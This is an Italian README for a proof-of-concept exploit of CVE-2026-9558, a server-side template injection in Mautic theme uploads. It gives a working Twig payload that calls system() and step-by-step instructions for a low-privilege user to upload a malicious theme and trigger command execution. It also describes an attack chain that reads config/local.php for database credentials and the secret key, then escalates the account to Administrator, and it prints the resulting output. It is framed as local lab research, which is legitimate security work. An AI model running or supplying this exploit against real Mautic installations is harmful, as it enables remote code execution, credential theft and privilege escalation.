
PoC di sfruttabilità per CVE-2026-9558 (SSTI Mautic Theme)
CVE-2026-9558 è una vulnerabilità di iniezione di template lato server (SSTI) nel
motore dei temi di Mautic. I temi caricati tramite il Theme Manager sono archivi
ZIP contenenti template Twig e, nelle versioni vulnerabili, questi template vengono
renderizzati dall'Environment Twig predefinito dell'applicazione senza alcuna
politica SandboxExtension applicata.
Poiché Twig può invocare callable PHP arbitrari tramite filtri come
map, filter e reduce, un utente autenticato con permessi di caricamento dei
temi può installare un tema il cui template esegue un comando di sistema arbitrario
non appena viene renderizzato — cosa che avviene automaticamente la prima volta
che un utente apre il builder di email o landing page con quel tema.
{{ ["id"] | map("system") | join }}
| Intervallo interessato | Corretta in |
|---|---|
| >= 1.3.0, < 4.4.13 | 4.4.13 (4.4.20 via ELTS) |
| >= 5.0.0, < 5.2.11 | 5.2.11 |
| >= 6.0.0, < 6.0.9 | 6.0.9 |
| >= 7.0.0, < 7.1.2 | 7.1.2 |
Questo laboratorio prende di mira 7.1.1, l'ultima release precedente alla correzione.
La documentazione per sviluppatori di Mautic afferma che i template dei temi vengono renderizzati in una sandbox Twig limitata:
Mautic renderizza i template dei temi caricati dagli utenti in un ambiente sandbox Twig limitato. La sandbox blocca determinate funzioni e filtri che potrebbero consentire l'esecuzione remota di codice, la perdita di dati o l'esplorazione del filesystem.
Nelle versioni vulnerabili, questa politica di sandbox non esiste. La correzione
(7.1.2) introduce
ThemeSandboxPolicy.php,
un'implementazione di SecurityPolicyInterface basata su denylist che blocca i
filtri map, filter e reduce e una serie di funzioni tra cui source()
(lettura arbitraria di file) e configGetParameter() (espone le credenziali del
database e la chiave segreta dell'applicazione). Il commento inline della stessa
correzione documenta la forma esatta del payload usato in questo PoC:
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
Prima di questa politica, non esisteva alcuna restrizione di questo tipo su nessun percorso di renderizzazione dei temi.
La catena è stata validata end-to-end su un account con privilegi bassi
con solo i gruppi di permessi Themes (crea/modifica) e Emails
(crea/modifica) — non Amministratore — per soddisfare la precondizione PR:L nel
vettore CVSS dell'advisory.
system() incorporate nel file
.twig del tema.config/local.php di
Mautic, esponendo in chiaro le credenziali del database e la secret_key
dell'applicazione.PDO diretta dal payload SSTI e promuovere l'account
con privilegi bassi a role_id 1 (Amministratore), bypassando completamente
i controlli di permesso a livello applicativo di Mautic.uid=33(www-data) gid=33(www-data) groups=33(www-data)
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
rows_updated=1
confirm: 2|priv-esc|1
L'advisory dichiara PR:L. Questo laboratorio conferma nella pratica la
precondizione specifica di bassi privilegi: raggiungere il trigger di
renderizzazione richiede sia i permessi di caricamento dei temi sia quelli
di creazione delle email — non un singolo permesso basso generico. Nessuna
soluzione alternativa oltre alla correzione ufficiale limita questo comportamento;
l'unica mitigazione documentata è limitare core:themes:create agli
amministratori fidati.
cve-2026-9558-poc/
├── podman-compose.yml # MariaDB + Mautic 7.1.1-apache, isolated bridge network
├── Dockerfile.mautic # pins the official image to the vulnerable release
├── install.sh # non-interactive mautic:install bootstrap
└── sparse/
├── config.json # malicious theme manifest
├── sparse.zip # theme ready to be uploaded
└── html/
├── email.html.twig # SSTI payload template. Look at the end of file where there is the placeholder for injecting arbitrary commands.
├── ... # Other .twig files
└── .../ # Other directories (e.g css)
| Tool | Versione | Note |
|---|---|---|
| Podman | ≥ 4.0 | podman-compose richiesto |
| curl | qualsiasi | usato da install.sh per verificare la disponibilità |
L'exploit in questo PoC viene eseguito manualmente tramite l'interfaccia web di Mautic (caricamento Theme Manager → builder Email), rispecchiando il flusso reale dell'attaccante: il caricamento del tema è un'operazione su file, non una chiamata API che valga la pena automatizzare in questa fase dell'analisi.
podman-compose up -d
./install.sh
install.sh attende che il container dell'applicazione accetti connessioni, poi
esegue mautic:install in modalità non interattiva per inizializzare il primo
account Amministratore.
Dalla UI, crea un ruolo personalizzato con solo Themes (crea/modifica) e
Emails (crea/modifica) abilitati e un utente assegnato a quel ruolo. Questo
riproduce la precondizione PR:L invece di testare come Amministratore.
Accedi come utente con privilegi bassi. Da Themes → Upload, carica uno ZIP
creato da sparse/config.json e sparse/html/page.html.twig (o una copia
modificata di qualsiasi tema integrato con la riga di payload aggiunta al suo file
.twig).
Da Channels → Emails → New, seleziona il tema caricato come modello e apri il builder. Il payload viene eseguito non appena il tema viene renderizzato per l'anteprima.
podman-compose down -v
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Questo repository è inteso esclusivamente a scopo educativo e per l'analisi locale della sfruttabilità. Tutti i test sono stati eseguiti in un ambiente container auto-ospitato. Non eseguire questo PoC contro sistemi che non possiedi o per i quali non hai un'autorizzazione scritta esplicita a testare.
| Risorsa | Link |
|---|
| Advisory | GHSA-9fx4-7cmj-47vg |
| Fix (politica della sandbox) | ThemeSandboxPolicy.php |
| Repo vulnerabile | mautic/mautic |
| Analisi completa — post del blog | return-zero.dev/posts/cve-2026-9558 |